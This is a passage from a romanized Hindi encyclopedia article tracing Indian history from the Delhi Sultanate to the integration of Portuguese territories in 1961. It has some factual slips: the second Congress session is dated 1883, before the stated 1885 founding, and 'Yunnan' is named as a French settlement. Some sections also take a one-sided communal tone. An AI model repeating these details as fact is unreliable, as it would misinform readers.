dakshin ek aur shatabdi tak svatantr raha, kintu sultan khilaji ke rajyakal mean dakshin bhi dilli saltanat ke adhin ho gaya aur is tarah chaudahavian shatabdi mean kuchh kal ke lie sare bharat ka shasan phir se ek kendriy satta ke aantargat a gaya. parantu dilli saltanat ka shighr hi patan shuroo ho gaya aur 1336 ee॰ mean dakshin mean hinduoan ka ek vishal rajy sthapit hua, jisaki rajadhani vijayanagar thi. bangal (1338 ee॰), jaunapur (1393 ee॰), gujarat tatha dakshin ke madhyavarti bhag mean bhi bahamani saltanat (1347 ee॰) ke nam se svatantr musalamani rajy sthapit ho gaya. 1398 ee॰ mean taimoor ne bharat par hamala kiya aur dilli par qabza kar liya aur use loota. usake hamale se dilli ki saltanat jarjar ho gayi.
mugal
dilli ki saltanat vastav mean kamazor thi, kyoanki sultanoan ne apani vijit hindoo praja ka hraday jitane ka koee prayas nahian kiya. ve dharmik drishti se atyant kattar the aur unhoanne balapoorvak hinduoan ko musalaman banane ka prayas kiya. isase hindoo praja unase koee sahanubhooti nahian rakhati thi. isak phalasvaroop 1526 ee॰ mean babar ne asani se dilli ki saltanat ko ukha d phaianka. usane panipat ki pahali l daee mean antim sultan ibrahim lodi ko hara diya aur mugal vansh ki pratishthit kiya, jisane 1526 se 1858 ee॰ tak bharat par shasan kiya. tisara mugal badashah akabar asadharan roop se yogy aur dooradarshi shasak tha. usane apani vijit hindoo praja ka hraday jitane ki koshish ki aur vishesh roop se yuddh priy rajapoot rajaoan ko apane paksh mean karane ka prayas kiya. akabar ne dharmik sahishnuta tatha mel-milap ki niti barati, hinduoan par se jaziya utha liya aur rajy ke ooanche padoan par bina bhedabhav ke sirph yogyata ke adhar par niyuktiyaan kian.
maratha
rajapootoan aur mugaloan ke yog se usane apana samrajy kandahar se asam ki sima tak tatha himalay ki talahati se lekar dakshin mean ahamadanagar tak vistrit kar diya. usake putr jahaangir jahaan pautr shahajahaan ki rajyakal mean mugal samrajy ka vistar jari raha. shahajahaan ne taj ka nirman karaya, parantu kndahar usake hath se nikal gaya. akabar ke prapautr aurangazeb ke rajyakal mean mugal samrajy ka vistar apane charam shikhar par pahuanch gaya aur kuchh kal ke lie sara bharat usake aantargat ho gaya. parantu aurangazeb ne jan-boojhakar akabar ki dharmik sahishnuta ki niti tyag di aur hinduoan ko apane viruddh kar liya. usane hindustan ka shasan sirph musalamanoan ke hit mean chalane ki koshish ki aur hinduoan ko zabardasti musalaman banane ka asaphal prayas kiya. isase rajapootana, buandelakhand tatha panjab ke hindoo usake viruddh uth kh de hue. maharashtr mean shivaji ne 1707 ee॰ mean aurangazeb ki mrityu se poorv hi ek svatantr hindoo rajy sthapit kar diya. aurangazeb antim shaktishali mugal badashah tha. usake uttaradhikari atyant nirbal aur ayogy the, unake vazir vishvasaghati the. faras ke nadirashah ne mugal badashahat par sabase saanghatik prahar kiya. usane 1739 ee॰ mean bharat par chadhaee ki aur dilli par qabza kar liya aur use nirdayata se poori tarah loota. usake hamale se mugal samrajy poori tarah jarjar ho gaya aur isake bad shighrata se usaka vighatan ho gaya. avadh, bangal tatha dakshin ke musalaman soobedaroan ne apane ko svatantr kar liya. rajapoot raja bhi arddh-svatantr ho gaye. peshava bajirav pratham ke netritv mean marathoan ne mugal samrajy ke khandaharoan par hindoo pad padashah ki sthapana ka prayas kiya.
aangrez
parantu yah sambhav nahian ho saka. firangi log samudri margoan se bharat ki zamin par pair jama chuke the. akabar se lekar aurangazeb tak mugal badashahoan ne bharat ke is naye marg ka mahatv nahian samajha. inamean se koee in navaangatukoan ki rajanitik mahatvakaankshaoan ka anuman nahian laga saka aur unake jangi be de ka muqabala karane ke lie ek shaktishali bharatiy jangi be da taiyar karane ki avashyakata ko anubhav nahian kar saka. is tarah bharatiyoan ki or se kisi pratirodh ka samana kiye bagair sabase pahale purtagali bharat pahuanche. usake bad dach, aangrej, phraansisi aye. solahavian shatabdi mean in phirangiyoan mean apas mean l daiyaan hoti rahi, jo adhikaansh samudr mean huee. dach aur aangrejoan ne milakar sabase pahale purtagaliyoan ki samudrik shakti ko samapt kiya. isake bad dach logoan ko pata chala ki unake lie bharat ki apeksha masale vale dvipoan se vyapar karana adhik labhadayi hai. is tarah bharat mean sirph aangrej aur phraansisi logoan ke bich pratidvandvita huee.
eest iandiya kampani
atharahavian shatabdi ke shuroo mean aangrejoan ki eest iandiya kampani ne bambee (mumbee), madras (chennee) tatha kalakatta (kolakata) par qabza kar liya. udhar phraansisiyoan ki eest iandiya kampani ne mahe, paandicheri tatha chandranagar par qabza kar liya. unhean apani senaoan mean bharatiy sipahiyoan ki bharati karane ki bhi ijazat mil gayi. ve in bharatiy sipahiyoan ka upayog n keval apani apasi l daiyoan mean karate the balki is desh ke rajaoan ke viruddh bhi karate the. in rajaoan ki apasi pratidvandvita aur kamazori ne inaki rajanitik mahatvakaanksha ka jagrat kar diya aur unhoanne kuchh deshi rajaoan ke viruddh doosare deshi rajaoan se sandhiyaan kar lian. 1744-49 ee॰ mean mugal badashah ki prabhusatta ki poorn upeksha karake unhoanne apas mean karnatak ki doosari l daee chhe di. ek sal ke bad karnatak ki doosari l daee shuroo huee. jisamean phraansisi gavarnar doople ne pahali l daee se sabaq lete hue n keval karnatak ke prashasan par, balki nizam ke rajy par bhi fraans ka rajanitik niyatrann sthapit karane ki koshish ki. parantu aangrejoan ne usaki mahatvakaanksha poori nahian hone di. aangrejoan ko bangal mean bhari saphalata mili thi. badashah aurangazeb ki mrityu ke keval pachas varsh bad 1757 ee॰ mean rabart klaiv ke netritv mean aangrejoan ne navab sirajuddola ke viruddh vishvasaghatapoorn rajadrohatmak sh dayantr rachakar plasi ki l daee jit li aur bangal ko ek prakar se apani mutthi mean kar liya. unhoanne bangal ki gaddi par ek kathaputali navab mir zafar ko bitha diya. isake bad ek ke bad, tezi se kee ghatanaean ghatian.
panipat
ahamad shah abdali ne 1748 se 1760 ee॰ ke bich bharat par chadhaiyaan kian aur 1761 ee॰ mean panipat ki tisari l daee jit kar mugal samrajy ka fatiha padh diya. usan dilli par dakhal karake use loota. panipat ki tisari l daee mean sabase adhik kshati marathoan ko uthani p di. kuchh samay ke lie unaki badh ruk gayi aur is prakar ve mugal badashahoan ki jagah le lene ka mauka kho baithe. yah l daee vastav mean mugal samrajy ke patan ki soochak hai. isane bharat mean mugal samrajy ke sthan par british samrajy ki sthapana mean madad ki. abdali ko panipat mean jo fatah mili, usase n to vah svayan koee labh utha saka aur n usaka sath dene vale musalaman saradar. is l daee se vastavik fayada aangreji eest iandiya kampani ne uthaya. isake bad kampani ko ek ke bad doosari saphalataean milati gayian.
regyuletiang ekt
bangal ke sadhanoan se balashali hokar aangrejoan ne 1760 ee॰ mean vandivash ki l daee mean phraansisiyoan ko hara diya aur 1762 ee॰ mean unas paandecheri le liya. is prakar unhoanne bharat mean phraansisiyoan ki rajanitik shakti samapt kar di. 1764 ee॰ mean aangrajoan ne baksar ki l daee mean badashah bahadur shah aur avadh ke navab ki sammilit sena ko hara diya aur 1765 ee॰ mean badashah se bangal, bihar tatha u disa ki divani prapt kar li. isake phalasvaroop eest iandiya kampani ko pahali bar bangal, u disa tatha bihar ke prashasan ka qanooni adhikar mil gaya. kuchh itihasakar ise bharat mean british rajy ka prarambh manate haian. 1773 ee॰ mean british parliyameant ne ek regyuletiang ekt pas karake bharat mean british prashasan ko vyavasthit roop dene ka prayas kiya. is ekt ke aantargat bharat mean kampani kshetroan ka prashasan gavarnar-janaral ke adhin kar diya gaya. usaki sahayata ke lie char sadasyoan ki kauansil gathit ki gayi. ekt mean bangal ke gavarnar ko gavarnar-janaral ka pad pradan kiya gaya aur kalakatta mean ek suprim kort ki bhi sthapana ki gayi. varen hestigs, jo us samay bangal ka gavarnar tha, 1773 ee॰ mean pahala gavarnar-janaral banaya gaya.
1773 ee॰ se 1947 ee॰ tak ka kal, jab bharat mean british shasan samapt hua aur bharat svadhin hua, do bhagoan mean baanta ja sakata hai. pahala, kampani ka shasanakal, jo 1858 ee॰ tak chala aur doosara, 1858 se 1947 ee॰ tak ka kal, jab bharat ka shasan sidhe briten dvara hone laga.
gavarnar-janaraloan ka samay
kampani ke shasan kal mean bharat ka prashasan ek ke bad ek baees gavarnar-janaraloan ke hathoan me raha. is kal ke bharatiy itihas ki sabase ullekhaniy ghatana yah hai ki kampani yuddh tatha kootaniti ke dvara bharat mean apane samrajy ka uttarottar vistar karati rahi. maisoor ke sath char l daiyaan, marathoan ke sath tin, barma (myaanmar) tatha sikhoan ke sath do-do l daiyaan tatha siandh ke amiroan, gorakhoan tatha afaganistan ke sath ek-ek l daee chhe di gayi. inamean se pratyek l daee mean kampani ko ek ya doosare deshi raja ki madad mili. usane jin faujoan se l daee ki unamean se adhikaansh bharatiy sipahi the aur l daee ka kharch poori tarah bharatiy karadata ko uthana p da. in l daiyoan ke phalasvaroop 1857 ee॰ tak sare bharat par sidhe kampani ka prabhutv sthapit ho gaya. do-tihaee bharat par deshi rajyoan ka shasan bana raha. parantu unhoanne kampani ka sarvabhaum prabhutv svikar kar liya aur adhinasth tatha ashrit mitr raja ke roop mean apani riyasat ka shasan chalate rahe.
gadar- pratham svatantry sangram
is kal mean sati pratha ka ant kar dene ke saman kuchh samajik sudhar ke bhi kary kiye gaye. aangrezi ke madhyam se pashchim shiksha ke prasar ki disha mean qadam uthaye gaye, aangreji desh ki rajabhasha bana di gayi, sare desh mean saman zabta divani aur zabta faujadari qanoon lagoo kar diya gaya, jisase sare desh mean ekata ki nayi bhavana paida ho gayi. parantu shasan svechchhachari bana raha aur vah poori tarah aangrejoan ke hathoan mean raha. 1833 ke chartar ekt ke viparit ooanche padoan par bharatiyoan ko niyukt nahian kiya gaya. bhap se chalane vale jahazoan aur relaga diyoan ka prachalan, eesaee mishanariyoan dvara akshepajanak riti se eesaee dharm ka prachar, lard dalahauzi dvara zabti ka siddhaant lagoo karake athava kushasan ke adhar par kuchh purani deshi riyasatoan ki zabti tatha british bharatiy sena ke bharatiy sipahiyoan ki shikayatean—in sab karanoan ne milakar sare bharat mean ek gahare asantosh ki ag dhadhaka di, jo 1857-58 ee॰ mean gadar ke roop mean bh dak uthi. antim mugal bahadur shah zafar, jhaansi ki rani lakshmibaee, taantya tope (ramachanndr paandurang), bihar ke baboo kuanvarasianh, maharashtr se nana sahib, is pratham kranti ke prayas ke nayak the kintu prayas viphal ho gaya.
adhikaansh deshi rajaoan ne apane ko gadar se alag rakha. desh ki adhikaansh janata ne bhi isamean koee hissa nahian liya. phalasvaroop kampani ko bal poorvak gadar ko kuchal dene mean saphalata mili, parantu gadar ke bad british parliyameant mean bharat par kampani ka shasan samapt kar diya. bharat ka shasan ab sidhe briten ke dvara kiya jane laga. maharani viktoriya ne ek ghoshana patr jari karake apani bharatiy praja ko usake kuchh adhikaroan tatha kuchh svadhinataoan ke bare mean ashvasan diya.
bharatiy rashtriy kaangres ki sthapana
is prakar bharat mean british shasan ka doosara kal (1858-1947 ee॰) arambh hua. is kal ka shasan ek ke bad ikattis gavarnar-janaraloan ke hathoan mean raha. gavarnar-janaral ko ab vaisaray (british samrat ka pratinidhi) kaha jane laga. lard kainiang pahala vaisaray tatha gavarnar-janaral niyukt hua. is kal ke bharatiy itihas ki sabase pramukh ghatana hai—bharat mean rashtravadi bhavana ka uday aur 1947 ee॰ mean bharat ki svadhinata ke roop mean aantim vijay. 1857 ee॰ mean kalakatta (kolakata), madras (chennee) tatha bambee (mumbee) mean vishvavidyalayoan ki sthapana ke bad shiksha ka prasar hone laga tatha 1869 ee॰ mean svez nahar khulane ke bad ianglaind tatha yoorop se nikat sampark sthapit ho jane se bharat mean naye madhyavarg ka vikas hua. yah madhy varg pashchimi darshan shastr, rajaniti shastr tatha arthashastr ke vicharoan se prabhavit tha aur british shasan mean bharatiyoan ko jo nicha darza mila hua tha, usase rusht tha. british mean sthapit shanti ke phalasvaroop yah varg sare bharat ko ek desh tatha samast bharatiyoan ko ek qaum manane laga aur briten ki bhaanti sansadiy shasan pranali ki sthapana usaka lakshy ban gaya. vah ek aise sangathan ki avashyakata mahasoos karane laga jo samast bharatiy rashtr ka pratinidhitv kar sake.
isake phalasvaroop 1885 ee॰ mean bambee mean bharatiy rashtriy kaangres ki sthapana huee jisamean desh ke samast bhagoan se 71 pratinidhiyoan ne bhag liya. kaangres ka doosara adhiveshan 1883 ee॰ mean kalakatta mean hua, jisamean sare desh se nirvachit 434 pratinidhiyoan ne bhag liya. is adhiveshan mean maang ki gayi ki bharat mean kendriy tatha praantiy vidhanamandaloan ka vistar kiya jaye aur usake adhe sadasy nirvachit bharatiy hoan. kaangres har sal apane adhiveshanoan mean apani maangean doharati rahi. lard dafarin ne kaangres par vyagy karate hue use aise alpasankhyak varg ka pratinidhitv karane vali sanstha bataya jise sirf khurdabin se dekha ja sakata hai. lard lainsadaun ne usake prati poorn upeksha ki niti barati, lard karzan ne usaka khuleam mazak u daya tatha lard minto dvitiy ne 1909 ke iandiyan kauansil ekt dvara sthapit vidhanamandaloan mean musalamanoan ko anupat se anuchit riti se adhik pratinidhitv dekar unhean pho dane tatha kaangres ko to dane ki koshish ki, phir bhi kaangres jinda rahi.
prarambhik saphalata
kaangres ko pahali mamooli saphalata 1909 mean mili, jab ianglaind mean bharat mantri ke nirshadan mean kam karane vali bharat parishad mean do bharatiy sadasyoan ki niyukti pahali bar ki gayi, vaisaray ki ekjikyootiv kauansil mean pahali bar ek bharatiy sadasy ki niyukti ki gayi tatha iandiyan kauansil ekt ke dvara kendriy tatha prantiy vidhanamandaloan ka vistar kar diya gaya tatha unamean nirvachit bharatiy pratinidhiyoan ka anupat pahale se adhik badha diya gaya. in sudharoan ke prastav lard marle ne halaanki bharat mean sansadiy sansthaoan ki sthapana karane ka koee irada hone se inkar kiya, phir bhi ekt mean jo vyavasthaean ki gayian thi, unaka uddeshy usi disha mean age badhane ke siva aur kuchh nahian ho sakata tha. 1911 ee॰ mean lard karjan ke dvara 1905 ee॰ mean kiya bangal ka vibhajan radd kar diya gaya aur bharat ne briten ka poora sath diya. bharat ne yuddh ko jitane ke lie briten ki faujoan se, dhan se tatha samagri se madad ki. bharat asha karata tha ki is rajabhakti pradarshan ke badale yuddh se hone vale labhoan mean use bhi hissa milega.
dvaidhashasan pranali
bharat ke lie svashasan ki maang karane mean pahali bar bharatiy musalaman bhi hinduoan ke sath sanyukt ho gaye aur agast 1917 ee॰ mean british sarakar ne ghoshana ki ki bharat mean britesh shasan ki niti hai ki shasan ki pratyek shakha mean bharatiyoan ko adhikarik sthan diya jay tatha svayatt shasan ka kramikaroop se vikas kiya jay, taki british samrajy ke aantargat bharat mean uttaradayi sarakar ki uttarottar sthapana ho sake. is ghoshana ke anusar 1919 ka gavarnament aph iandiya ekt pas kiya gaya. is ekt ke dvara vidhan mandaloan ka vistar kar diya gaya aur ab unake bahusankhy sadasy bharatiy janata ke nirvachit pratinidhi hone lage. ekt ke dvara kendriy tatha prantiy sarakaroan ke karyoan ka vibhajan kar diya gaya aur prantoan mean dvaidhashasan pranali lagoo karake karyapalika ko aanshik riti se vidhanamandal ke prati uttaradayi bana diya gaya. is ekt ke dvara bharat ne sunishchit riti se pragati ki. bharatiy ke itihas mean pahali bar ek aisi sanstha ki sthapana ki gayi, jisake dvara british bharat ke nirvachit pratinidhi sarakari adhar par ekatr ho sakate the. pahali bar unaka bahumat sthapit kar diya gaya aur ab ve sarakar ke karyoan ki nirbhayatapoorvak alochana kar sakate the.
asahayog aur satyagrah
in sudharoan se purane kaangresajan santusht ho gaye, parantu nav yuvakoan ka dal, jise mohanadas karamachand gaandhi ke roop mean ek naya neta mil gaya tha, santusht nahian hua. in sudharoan ke aantargat kendriy karyapalika ko kendriy vidhan mandal ke prati uttaradayi nahian banaya gaya tha aur vaisaray ko bahut adhik adhikar pradan kar diye gaye the. atev usane in sudharoan ko asvikrit kar diya. usake man mean jo ashankaean thian, ve galat nahian thi, yah 1919 ke ekt ke bad hi pas kiye gaye raulat ekt jaise damanakari kanoonoan tatha jaliyaanvala bag hatyakaannd jaise damanamoolak karyoan se siddh ho gaya. kaangres ne 1920 ee॰ mean apane nagapur adhiveshan mean apana dhyey poorn svarajy ki sthapana ghoshit kar di aur apani maangoan ko manavane ke lie usane ahiansak asahayoang ki niti apanayi. chooanki british sarakar ne usaki maangean svikar nahian ki aur damanakari niti ke dvara vah asahayog aandolan ko daba dene mean saphal ho gayi. isalie kaangres ne disambar 1929 ee॰ mean lahaur adhiveshan mean apana lakshy poorn svidhinata nishchit kiya aur apani maang ka manavane ke lie usane 1930 mean satyagrah aandolan shuroo kar diya.
dvitiy vishvayuddh
sarakar ne pahale ki tarah aandolan ko dabane ke lie daman aur samajhaute ke donoan raste akhtiyar kiye aur 1935 ka gavarnent aph iandiya ekt pas kiya. is ekt ke dvara britash bharat tatha deshi riyasatoan ke lie sammilit roop se ek sanghiy shasan ka prastav kiya, kendr mean ek prakar ke dvaidh shasan ki sthapana ki gayi tatha prantoan ko svashasan pradan kar diya gaya. ekt ka prantoan se sambandhit bhag lagoo kar diya gaya tatha aprail 1937 ee॰ mean prantiy svashasan ka shriganesh kar diya gaya. parantu ekt ke sangh sarakar se sambandhit bhag ke lagoo hone se pahale hi sitambar 1939 ee॰ mean dvitiy vishvayuddh shuroo ho gaya jo 1945 ee॰ tak jari raha. yah vishvavyapi yuddh tha aur briten ko apane sare sadhan usamean jhoank dene p de. bharat ne briten ka sath diya aur bharat ke pas jan aur dhan ki jo vishal shakti thi usase labh uthakar tatha amarika ki sahayata se briten yuddh jit gaya. gaandhi ji ke amit prabhav tatha ahiansa mean unaki dridh nishtha ke karan bharat ne yadyapi british sambandh ko banaye rakha, phir bhi yah spasht ho gaya ki bharat ab british samrajy ki adhinata mean nahian rahana chahata.
sampradayik dange
kuchh british afasaroan ne bharat ko svadhin hone se rokane ke lie aantim durrabh sandhi ki aur musalamanoan ki bharat vibhajan karake pakistan ki sthapana ki maang ka samarthan karana shuroo kar diya. isake phalasvaroop agast 1946 ee॰ mean sare desh mean bhayanak sampradayik dange shuroo ho gaye, jinhean vaisaray lard vevel apane samast fauji anubhavoan tatha sadhanoan bavajood rokan mean asaphal raha. yah anubhav kiya gaya ki bharat ka prashasan aisi sarakar ke dvara chalana sambhav nahian hai. jisaka niyantran mudhy roop se aangrejoan ke hathoan mean ho. atev sitambar 1946 ee॰ mean lard vevel ne pandit javahar lal neharoo ke netritv mean bharatiy netaoan ki ek aantarim sarakar gathit ki. british adhikariyoan ki kripapatr hone ke karan muslim lig ke dimag kafi ooanche ho gaye the. usane pahale to ek mahine tak aantarim sarakar se apane ko alag rakha, isake bad vah bhi usamean sammilit ho gayi.
svadhinata
thumb|15 agast 1947 ka akhabar
Newspaper Of 15th August 1947
bharat ka sanvidhan banane ke lie ek bharatiy sanvidhan sabha ka ayojan kiya gaya. 1947 ee॰ ke shuroo mean lard vevel ke sthan par lard mauantabeten vaisaray niyukt hua. use panjab mean bhayanak sampradayik dangoan ka samana karana p da. jinako bh dakane mean vahaan ke kuchh british aphasaroan ka hath tha. vah pradhanamantri etali ke netritv mean briten ki sarakar ko yah samajhane mean saphal ho gaya ki bharat ka bharat aur pakistan ke roop mean vibhajan karake use svadhinata pradan karane se shanti ki sthapana sambhav ho sakegi aur briten bharat mean apane vyaparik hitoan ko surakshit rakh sakega. 3 joon 1947 ko british sarakar ki or se yah ghoshana kar di gayi ki bharat ka; bharat aur pakistan ke roop mean vibhajan karake use svadhinata pradan kar di jayagi. british parliyameant ne 15 agast 1947 ko iandipedans aph iandiya ekt pas kar diya. is tarah bharat uttar pashchimi sima prant, baloochistan, siandh, pashchimi panjab, poorvi bangal tatha pashchim bangal ke musalim bahul bhagoan se rahit ho jane ke bad, sat shatabdiyoan ki videshi paradhinata ke bad svadhinata ke ek naye path par agrasar hua.
gaandhi ji ki hatya
svadhin bharat ko jin samasyaoan ka samana karana p da, ve saral nahian thian. use sabase pahale sampradayik unmad ko shant karana tha. bharat ne janaboojhakar dharm nirapeksh rajy banana pasand kiya. usane ashvasan diya ki jin musalamanoan ne pakistan ko nirgaman karane ke bajay bharat mean rahana pasand kiya hai unako nagarikata ke poorn adhikar pradan kiye jayeange. halaanki pakistan janaboojhakar apane yahaan se hinduoan ko nikal bahar karane athava jin hinduoan ne vahaan rahane ka phaisala kiya tha, unako ek prakar se dvitiy shreni ka nagarik bana dene ki niti par chal raha tha. l aaurd mauantabeten ko svadhin bharat ka pahala gavarnar janaral banaye rakha gaya aur pandit javahar lal neharoo tatha aantarim sarakar mean unake kaangrasi sahayogiyoan ne tho de se herapher ke sath pahale bharatiy mantrimandal ka nirman kiya. is mantrimandal mean saradar patel tatha maulana abulakalam azad ka to sammilit kar liya gaya tha, parantu netaji ke b de bhaee sharatachandr bos ko chho d diya gaya. 30 janavari 1948 ee॰ ko nathooram godase namak hindoo ne rashtrapita mahatma gaandhi ki hatya kar di. sara desh shok ke sagar mean doob gaya. nau mahine ke bad, pakistan ke pahale gavarnar janaral muhammad ali jinnah ki bhi mrityu ho gayi. usi varsh lard mauantabeten ne bhi avakash grahan kar liya aur chakravarti rajagopalachari bharat ke pratham aur aantarim gavarnar janaral niyukt hue.
riyasatoan ka vilay
adhikaansh deshi riyasatoan ne , jinake samane bharat athava pakistan mean vilay ka prastav rakha gaya tha, bharat mean vilay ke paksh mean nirnay liya, parantu, do riyasatoan—kashmir tatha haidarabad ne koee nirnay nahian kiya. pakistan ne balapoorvak kashmir ki riyasat par adhikar karane ka prayas kiya, parantu aktoobar 1947 ee॰ mean kashmir ke maharaj ne bharat mean vilay ki ghoshana kar di aur bharatiy senaoan ko vayuyanoan se bhejakar shrinagar sahit kashmiri ghati tak jammoo ki raksha kar li gayi. pakistani akramanakariyoan ne riyasat ke uttari bhag par apana qabza banaye rakha aur isake phalasvaroop pakistan se yuddh chhi d gaya. bharat ne yah mamala sanyukt rashtr sangh mean uthaya aur sanyukt rashtr sangh ne jis kshetr par jisaka qabza tha, usi ke adhar par yuddh viram kar diya. vah aj tak is saval ka koee nipatara nahian kar saka hai. haidarabad ke nizam ne apani riyasat ko svatantrata ka darja dilane ka sh dayantr racha, parantu bharat sarakar ki pulis karyavahi ke phalasvaroop vah 1948 ee॰ mean apani riyasat bharat mean vilayan karane ke lie majaboor ho gaye. riyasatoan ke vilay mean tatkalin grihamantri saradar ballabh bhaee patel ki mukhy bhoomika rahi.
sangh rajyoan ka vilay
bharatiy sanvidhan sabha ke dvara 26 navambar 1949 mean sanvidhan pas kiya gaya. bharat ka sanvidhan adhiniyam 26 janavari 1950 ko lagoo kar diya gaya. is sanvidhan mean bharat ko laukataantrik ganarajy ghoshit kiya gaya tha aur sanghatmak shasan ki vyavastha ki gayi thi. daktar rajendr prasad ko pahala rashtrapati chuna gaya aur bahumat parti ke neta ke roop mean pandit javahar lal neharoo ne pradhan mantri ka pad grahan kiya. is pad par ve 27 mee 1964 ee॰ mean, apani mrityu tak bane rahe. navodit bharatiy ganarajy ke lie unaka dirghakalin pradhanamantritv b da labhadayi siddh hua. usase prashasan tatha ghareloo evan videsh nitiyoan mean nirantarata bani rahi. pandit neharoo ne vaideshik mamaloan mean gut-nirapekshata ki niti apanayi aur chin se rajanayik sambandh sthapit kiye. phraans ne 1951 ee॰ mean chandranagar shantipoorn riti se bharat ka hastaantarit kar diya. 1956 ee॰ mean usane any phreanch bastiyaan (paandicheri, karikal, mahe tatha yunnan) bhi bharat ko sauanp dian. purtagal ne phraans ka anusaran karane aur shantipoorn riti se apani purtagali bastiyaan (gova, daman aur div) chho dane se iankar kar diya. phalasvaroop 1961 ee॰ mean bharat ko balapoorvak in bastiyoan ko lena p da[12]. is tarah bharat ka ekikaran poora ho gaya.
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tika tippani aur sandarbh
- ↑ prachin bharat ki sanskriti aur sabhyata lekhak- damodar dharmanand kosanbi
- ↑ itihas karoan ke anusar yah prachin bharatoan ka qabila bharat hai jo uttar-pashchim mean tha bharat vanshi bhi inhean hi mana jata hai
- ↑ giranar ka barahavaan shilalekh "ashok ke dharm lekh" se prishth san- 31
- ↑ pratyek 170 kigra vajan vali miliyan gaanthe
- ↑ pratyek 180 kigra vajan vali miliyan gaanthe
- ↑ sampoorn vishv ka lagabhag 25% vidyaman hai.
- ↑ (kollar svarn kshetr tatha anantapur zile se bahut kam matra mean sona nikala jata hai)
- ↑ lagabhag 383 karo d tan
- ↑
kirat hoonaandhr–pulianda–pukkasaah
abhir–shuanga yavanaah khasadayah
yeanye ch papastadapashrayashrayah–
shudhyatian tasmai prabhavishnave namah. – 'bhagavat', 24-18 - ↑ "kabir" lekhak- hazariprasad dvivedi
- ↑ giranar ka shashth shilalekh "ashok ke dharm lekh" se prishth san- 28
- ↑ 1975 ee॰ mean purtagali shasan ne vastavikata ko samajhakar isako vaidhanik manyata de di hai.
varnamala kramanusar lekh khoj
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